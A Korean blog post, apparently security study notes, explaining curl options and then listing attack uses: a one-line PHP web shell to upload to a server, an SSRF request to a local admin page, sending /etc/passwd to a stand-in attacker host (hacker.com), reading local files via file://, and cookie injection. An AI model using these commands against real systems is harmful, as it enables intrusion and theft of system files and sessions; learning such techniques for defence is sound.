curl
URL로부터 데이터를 전송하거나 받아오는 커맨드라인 툴 입니다.
client URL의 줄임말로 HTTP뿐만 아니라 FTP, SCP, SMTP등 다양한 프로토콜을 지원합니다.
옵션이 다양하고 HTTP 요청의 대부분을 조작 할 수 있기에 보안 관련 테스트나 분석에도 자주 쓰입니다.
기본 사용법
curl [option] [URL]
curl http://google.com #예시
자주 사용되는 옵션
- -o <file> : 출력 결과를 파일로 저장합니다.
- -O : 출력 결과를 URL에서 가져온 파일 이름으로 저장합니다.
- -X <method> : HTTP 메서드를 지정합니다. (GET, POST, PUT 등)
- -d <data> : POST 데이터를 전송합니다.
- -H <header> : 요청 헤더를 지정합니다.
- -F <form> : multipart/form-data로 폼 데이터를 전송합니다.
- -T <file> : PUT 방식으로 파일을 업로드합니다.
- -u <user:pass> : Basic Auth 인증에 사용됩니다.
- -i : 응답 헤더를 포함시켜서 출력합니다.
- -s : Silent 모드로 진행합니다. (진행 상태를 숨김)
curl -o index.html https://example.com #파일 다운로드 예시
curl -T shell.php https://example.com/upload #원격 업로드 예시
curl -d "uid=admin&pw=1234" https://example.com/login #POST 데이터 전송 예시
보안 취약점 활용 및 공격 방법
1. 서버사이드 명령어 인젝션
<?php
system($_GET["cmd"]);
?>
- 위와 같은 위험한 코드를 -o 옵션을 이용하여 서버에 원격으로 다운로드 시키거나 -T 옵션을 통해 PUT 방식으로 업로드 시킬 수 있습니다.
2. SSRF (Server Side Request Forgery)
curl http://127.0.0.1/admin
- 서버에 내부 네크워크로 HTTP 요청을 시도하게 할 수 있습니다.
- 이를 통해 내부 관리자 페이지에 접근하거나 메타데이터를 획득할 수 있습니다.
3. 정보 유출
curl -F "file=@/etc/passwd" http://hacker.com/data
- -F 옵션을 이용하면 서버가 공격자의 서버로 내부 데이터를 유출 시키게 할 수 있습니다.
4. 내부 파일 읽기
curl file:///etc/passwd
- 만약 file://이 허용되어 있다면 내부 파일도 다운로드 할 수 있습니다.
5. 인증 우회
curl -H "Cookie: session=example123" https://example.com/admin
- 조작한 헤더나 쿠키 값을 주입하여 세션 하이재킹 등을 시도 할 수 있습니다.
'보안 > 이론 정리' 카테고리의 다른 글
| 웹 해킹 - DOM-based XSS (0) | 2025.08.06 |
|---|---|
| Base64에 대한 여러가지 (0) | 2025.07.17 |
| 웹 해킹 - Error Based SQL Injection (0) | 2025.07.08 |
| HTTP 요청의 구조와 헤더의 역할 (0) | 2025.07.07 |
| 웹 해킹 - Command Injection (0) | 2025.04.30 |